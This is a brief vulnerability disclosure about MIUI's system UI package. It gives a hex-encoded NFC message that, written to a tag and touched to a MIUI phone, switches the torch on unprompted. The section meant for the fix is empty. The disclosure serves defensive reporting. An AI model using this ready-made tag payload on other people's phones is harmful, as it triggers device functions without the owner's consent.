MIUI Torch Open Vulnerability I. Summary com.android.systemui is the corresponding package of MiuiSystemUI.apk, a MIUI system application that manages user interface and other functions. When started by NFC tag, the torch in NFC mobile phone will be open automatically. ----------------------------------------------------------------- II. Description construct a message as follow: D4 0F 14 61 6E 64 72 6F 69 64 2E 63 6F 6D 3A 70 6B 67 63 6F 6D 2E 61 6E 64 72 6F 69 64 2E 73 79 73 74 65 6D 75 69 Then write the message to NFC tag. Touch the NFC tag with Samsung GT-I9300(installed with MIUI 5.30， an Android ROM), the torch will be turned on automatically. ------------------------------------------------------------------ III. Impact This bug cause the torch of MIUI turned on automatically ------------------------------------------------------------------ IV. Affected MIUI 4.1.17/5.30 other versions we don't test. ------------------------------------------------------------------ V. Solution